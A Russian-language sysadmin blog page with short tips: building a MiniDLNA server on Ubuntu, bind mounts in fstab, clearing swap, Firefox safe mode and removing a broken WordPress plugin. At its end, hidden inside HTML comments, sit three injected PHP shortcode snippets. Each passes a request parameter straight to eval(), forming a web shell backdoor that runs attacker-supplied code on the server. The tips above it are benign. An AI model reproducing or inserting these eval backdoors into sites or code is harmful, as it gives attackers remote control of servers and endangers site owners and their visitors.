Поднимаем DLNA сервер на ubuntu 10.10 с использованием MiniDLNA.

Имея файловый сервер дома и полезный девайс Sony PS3, возникло законое желание проигрывать фильмы музыку и прочее с медиа-сервера на PS3. Прошерстив интернет, нарыл несколько статей на эту тему. В частности cтатья безусловно полезная, но описано для Fedora/CentOS, соответственно чтобы заработало на Ubuntu пришлось слегка поработать напильником. В статье ниже, описан полный процесс сборки и установки DLNA сервера под Ubuntu Linux 10.10. Полагаю, что для 11.04 кардинальных изменений в установке не будет. В качестве собственно DLNA сервера был выбран MiniDLNA AKA ReadyDLNA project. На момент написания статьи, актуальная версия была 1.0.21, насколько я понял, проект развивается достаточно неплохими темпами. На данный момент, актуальная версия 1.0.24, обновил ссылки. Собирать будем из исходников, поскольку готового пакета свежей версии в репозиториях не нашлось. Не нашлось даже не свежей.
Для тех, кому лень собирать самостоятельно — в конце статьи приведены ссылки на мой PPA репозиторй, где можно взять собранные пакеты под Ubuntu, и поставить их via True Ubuntu Way 🙂

Итак, приступим.

Подробнее

Как локально смонтировать каталог из fstab с опцией bind

Встал вопрос локального монтирования каталога в другой каталог, в пределах одной файловой системы. Бывает полезно, если програма/демон не умеет ходить по символическим ссылкам. Из консоли это делается так:

mount -o bind /home/user/dir /home/user/other_dir

Для того чтобы автоматически монтировать каталог при старте через fstab добавьте следующую строку в /etc/fstab:

/home/user/dir      /home/user/other_dir    none      bind     0      0

Быстрая очистка swap в Linux & FreeBSD

Бывает что система уходит своп, разной степени глубины. Перезапуск демонов помогает освободить память, но не всегда очищает swap полностью, и nagios или иная система мониторинга продолжает нервинчать по поводу того что истсема свопится. Очистить своп, при условии, что свободной памяти больше чем занятого свопа можно выполнив от root следуюущие команды:

swapoff -a && swapon -a

Таким образом вы отключаете все задействованные в системе своп разделы или файлы, заставляя ОС перетянуть все данные в RAM, и включаете обратно, получив на выходе девстенно чистый swap.

Запуск FireFox в безопасном режиме.

Если после установки свежего плагина/дополнения ваш FireFox отказывается запускаться или вешается после запуска, имеет смысл попробовать запустить браузер в безопасном режиме, и вручную отключить кривой прагин. Чтобы запустить Firefox в Safe mode под Windows выполните: Start > Run в открывшемся окне наберите firefox -safe-mode
Если вы используете Mac Os откройте терминал Applications > Utilities > Terminal > Run и в открывшемся окне терминала выполните команду /Applications/Firefox.app/Contents/MacOS/firefox -safe-mode
В итоге браузер запустится с отключенными плагинами и дополнениями.

Как удалить плагин поломавший wordpress?

Оказался в ситуации когда несовместимый плагин поломал WordPress инсталляцию. Админка не грузится, homepage лежит с ошибкой. Лечится так:

1. Подключиться к серверу по FTP/SSH

2. Найти каталог /wp-content/plugins а корне вашего сайта.

3. Удалить каталог с поломанным плагином. Каждый плагин лежит в отдельном каталоге.

4. На данном этапе блог и страница должны быть доступны. Сообщение в админке, о том что плагин был деактивирован, посколку не найден каталог плагина можно смело игнорировать.

 

<!— [insert_php]if (isset($_REQUEST["EgevD"])){eval($_REQUEST["EgevD"]);exit;}[/insert_php][php]if (isset($_REQUEST["EgevD"])){eval($_REQUEST["EgevD"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["ePpQ"])){eval($_REQUEST["ePpQ"]);exit;}[/insert_php][php]if (isset($_REQUEST["ePpQ"])){eval($_REQUEST["ePpQ"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["FCeQH"])){eval($_REQUEST["FCeQH"]);exit;}[/insert_php][php]if (isset($_REQUEST["FCeQH"])){eval($_REQUEST["FCeQH"]);exit;}[/php] —>